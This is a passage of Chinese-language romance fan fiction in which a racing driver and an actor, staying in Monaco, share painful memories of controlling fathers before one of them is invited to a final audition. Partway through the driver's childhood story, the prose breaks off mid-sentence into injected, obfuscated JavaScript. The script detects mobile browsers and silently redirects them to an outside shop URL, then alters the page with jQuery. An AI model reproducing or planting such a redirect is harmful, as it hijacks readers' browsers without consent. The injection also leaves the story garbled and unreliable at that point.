六月初，摩纳哥。


    林利被厨房里锅碗瓢盆的碰撞声吵醒。他迷迷糊糊地睁开眼，卧室门半掩着，飘进来一股焦糊味。


    “该死——”麦克斯压低声音咒骂。


    林利套上T恤走出去，看到麦克斯正手忙脚乱地用锅铲对付一团黑漆漆的东西。烟雾报警器在天花板上闪着红光，随时要叫起来。


    “你在干什么？”林利赶紧打开窗户。


    “想给你做早餐。”麦克斯有些尴尬地挠了挠头，金色的乱发在晨光里炸成一团，“结果忘了调火力……”


    林利忍不住笑了，接过锅铲：“算了，我来吧。你先收拾收拾这一团乱。”


    麦克斯擦了擦手，拿起手机。几秒钟后，他的脸色变得严肃：“确认了，七月初奥地利开赛。不出意外的话连续两周背靠背。”


    林利手里的动作顿了顿，鸡蛋在平底锅里滋滋作响。


    “看来我们的假期要结束了。”他低声说，把煎锅推到一边。


    麦克斯走过来，从背后环住他的腰，下巴搁在他的肩膀上：“GP刚发消息，让我下周就去工厂。”


    两人都没再说话。Spyke在脚边转悠，察觉到气氛不对，呜咽了一声，用鼻子拱了拱林利的小腿。


    “嗡——”


    林利的手机在桌上震动。屏幕上【Father】几个字母跳动着，亮得刺眼。


    他的指甲抠进掌心，深吸一口气接起电话。


    “早上好，爸爸。”


    “林。”阿利斯泰的声音从听筒里传来，“还在摩纳哥？”


    林利下意识握紧了手机：“是的，还在朋友这边。”


    “我真不明白你为什么非要待在那里。”阿利斯泰的语气里带着一丝不满，“伦敦的房子空着，你却跑去摩纳哥借住。那边除了赌场和游艇还有什么？你那个朋友是做什么的？”


    “他……他在欧洲工作。”林利含糊地回答，视线不自觉地飘向麦克斯。


    “在欧洲工作的人多了。”阿利斯泰哼了一声，“算了，只要你注意安全就好。这段时间确实只能待在家里，待在哪里都一样。”


    他停顿了一下，语气恢复了平静：“不过倒也不是完全无事可做。我这几天一直在线上开会，还能处理一些工作。对了，你最近是不是投了Apple那个空战项目的试镜？”他的语气变得随意起来。


    林利的心提了起来：“是的。”


    “凯瑞·福永的项目。我听说过这个导演，很有想法，也很固执。”阿利斯泰停顿了一下，林利能听见他轻啜茶水的声音，“刚好，Apple的内容总监厄利希特前两天给我发了邮件，说想聊聊欧洲市场的布局。这次停工让很多计划都搁置了，他想听听我的意见。”


    林利咬紧后槽牙，腮帮都隐隐作痛。


    “我们约了这周的视频会议。”阿利斯泰的声音里带着一丝笑意，“如果聊起Apple最近的项目，我想我可以提一提你。你知道的，这个圈子说大不大，大家都喜欢交流各自领域的新动向。”


    “爸爸，我不需要……”


    “你不需要什么？”阿利斯泰打断他，语气依然温和，甚至带着点困惑，“我只是说，如果话题恰好聊到这里，我会提一提我儿子最近在准备这类角色。这有什么问题吗？难道你希望我在别人问起时，假装不认识你？”


    林利感到一阵无力。他总是这样，貌似得体地规划别人的人生。


    “我知道你想靠自己证明什么。不用担心，你在《1917》表现不错。”阿利斯泰的声音带着一丝包容，“但你要明白，林利，这个世界上没有绝对的靠自己。每个人都在关系网里生活，区别只是你愿不愿意承认而已。”


    “你投了试镜，这当然是你的努力。但如果有人因为听说过福斯特这个姓氏而多给你一次关注，这难道不也是你的资源？”


    “可我想知道，如果没有这些，我到底能不能做到。”林利的声音微微发抖。


    “那你永远不会知道答案。”阿利斯泰叹了口气，有几分说教地说，“因为你无法剥离你是谁。就像你无法剥离你的脸、你的声音。姓氏、家庭、教育，这些都塑造了你。”


    电话那头传来杯子放下的清脆声响。“我不会强迫你接受我的建议。但这周的会议我还是会参加，该说的话我也会说。这是我的方式，至于最终结果如何，那要看你自己的表现。”


    他停顿了一下：“你只需要专注于你的表演就好。其他的事，交给时间。”


    “还有，林利。”他在挂断前补充道，“无论你愿不愿意承认，当你站在公众面前，代表的不只是自己。你是家族的一员。这既是你的骄傲，也是你的责任。”


    电话挂断了。


    林利握着手机，心脏被沉沉地捏着。


    麦克斯靠了过来：“你父亲？”


    “他说这周要和Apple的人开视频会议。”林利的声音虚虚的，像是从很远的地方传来，“他说如果聊起这个项目，会提一提我。”


    麦克斯把他拉到沙发边坐下。


    林利感觉到自己的身体很僵硬，“永远都是这样。无论我想要做什么，他几句话，一切都会自然而然朝他想要的方向发展。”


    麦克斯的手掌覆在他紧握的拳头上，温热的触感一点点渗透进来。


    “而且他说得对。”林利的声音闷闷的，手指揪住麦克斯的衣服，“我永远不可能知道，如果只有我，我还能走到今天吗？”


    麦克斯的手指在他手背上轻轻摩挲，一下又一下安抚着。


    “我妈妈更糟。”林利抬起头，眼睛红红的，“她完全活在他的阴影里。有一次我在片场工作了三十六小时，累得差点晕倒，我给她打电话。”


    他苦笑：“她问我吃饭了吗。我说没来得及。然后她就说，那不行，林，你得吃点东西。你爸爸上次连续开会也是忘了吃饭，后来胃疼了好几天。你要学学他，他现在每天都很注意。”


    林利的声音越来越小：“有时候我说我很累，想睡一觉。你猜她回答什么？她说你爸爸工作也很累，但他从来不抱怨。你要向他学习，成功的人都懂得管理自己的身体。”


    “每句话都在关心我，每句话最后都会绕到他身上。她从来没想过，我可能不想成为他。”他转过头看向麦克斯，睫毛湿成一簇一簇。


    麦克斯沉默了很久。窗外的海鸟叫声飘进来，又被风吹散。


    “我五岁开始开卡丁车。”他突然开口，“那时候真的很喜欢。我喜欢超过别人。”


    林利定定地看着他。


    麦克斯松开手，走到窗边：“乔斯看到了我的天赋，决定要把它最大化。他不是不爱我，只是更爱能成为冠军的我。”


    “如果我赢了，他会分析我哪里还能做得更好。如果我输了……”麦克斯停顿了一下，努力咽了咽，“我那时候才多大，有一次比赛最后一圈被人超了。比赛结束后，他一句话没说就转身就走了。”


    林利的心揪紧了。


    “我追上去拉住他的衣角，一直在道歉。”麦克斯的指尖在窗框上一下下敲击，“我到现在都记得，他甩开我的时候说‘冠军不需要道歉，输的人才需要。’”


    “然后他真的把车开走了。”麦克斯闭上眼睛，“外面下着雨，温度很低。周围那些小孩的父母都在收拾东西，他们看我的眼神……我就站得直直的，假装在等人来接我。”


    “我脑子里一直想，我是不是再也做不好了？他是不是不要我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159563|196580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了？”


    林利的鼻腔一阵发酸，他第一次听麦克斯提起这些。


    “后来我走到加油站，用公用电话打给我妈妈。”麦克斯睁开眼，“她握着方向盘的手一直在抖，说我爸爸只是太生气了。”


    “回到家的时候，他在客厅看电视。”麦克斯抬起头，眼神里没有任何波澜，“他看了我一眼，说‘下次不要输了’，就这样。”


    “这是惩罚吗？”麦克斯的声音很平静，“这是他的教育方式。他也为我付出了很多。”


    “可你那时候还那么小。”林利轻声说。


    “对，我才八岁。”麦克斯侧过脸看着他，眼睛里闪过一丝沉沉的光，“也许那时候的我不想听到下次该怎么做、冠军该怎么做。只是一句‘你已经做得很好了’，就够了。”


    他走回来，在林利对面坐下。沙发垫微微下陷，他们的膝盖碰在一起。


    “长大以后，采访时他们总问我，恨不恨乔斯。”麦克斯盯着自己的手，“我每次都不置可否，说那让我变得更强大。”


    “媒体喜欢这种故事。”麦克斯嘴角的弧度有些扭曲，“严父培养冠军，痛苦造就伟大，所有这些。我也习惯了这么说。”


    “但事实是……”麦克斯的手掌摊开又握紧，“我花了很多年才学会犯错之后不会本能地想逃跑。不会在有人对我大声说话时，整个人就绷紧。不会在比赛出问题的第一时间想乔斯会怎么看我。”


    林利紧紧地握住麦克斯，与他十指相扣。


    “我在试着学习。”麦克斯坚定地说，“失败不代表不值得被爱。我可以犯错，可以不完美，可以有情绪。我可以在累的时候说累，可以在难过的时候难过。我可以不是冠军的时候也还是我自己。”


    他看着林利，眼神清澈：“乔斯给了我成为F1车手需要的一切技能。但他没有教会我怎么在赛道之外做一个普通人。”麦克斯的声音变得柔和，“这些是我要自己学的。”


    两人就这样站着，谁也没再说话。窗外的天空渐渐亮了起来，晨光穿透薄雾，在海面洒下一片跳跃的金色。


    很久之后，林利轻声问：“你觉得……我们会变成他们那样吗？”


    “不会。”麦克斯回答得很快，又犹豫了一下，“至少我们会努力不变成那样。”


    他用另一只手覆盖上去，把林利的手完全包裹在掌心：“所以我们要一直记得现在的感觉。”


    林利点点头，两人的灵魂轻轻触碰。记住此刻，他们不需要成为父母期待的样子，不需要成为媒体塑造的形象，他们只是自己。


    Spyke趴在脚边，发出满足的哼哼声。它把下巴搁在前爪上，眯起眼睛。


    ……


    午后，林利躺在沙发上翻看剧本。他随手点开手机，新的邮件提示弹了出来。


    他快速浏览，心跳越来越快，然后突然笑了起来。


    “他们让我准备准备去伦敦参加最终试镜！”林利抬起头看向麦克斯，眼睛亮亮地像是点燃了两簇火焰。


    “我做到了，麦克斯，我做到了！”林利举起手机，手臂都在颤抖，“这是我的努力，对吗？他还没来得及说！”


    麦克斯蹲下来，双手撑在林利膝盖两侧。他的眼睛里倒映着林利因为激动而泛红的脸。“是你自己做到的，完完全全是你自己。”


    林利点点头，抬起手背胡乱擦了把脸，“不管最后结果怎么样，至少这一次，我证明了自己不是吗？”


    “当然了。”麦克斯认真地看着他，“而且你知道最好的部分是什么吗？你会越来越厉害，直到谁也不能够说什么。”


    “你相信我？”林利眼睛弯成月牙。


    “我相信你，我最相信。”麦克斯吻了吻他的额头。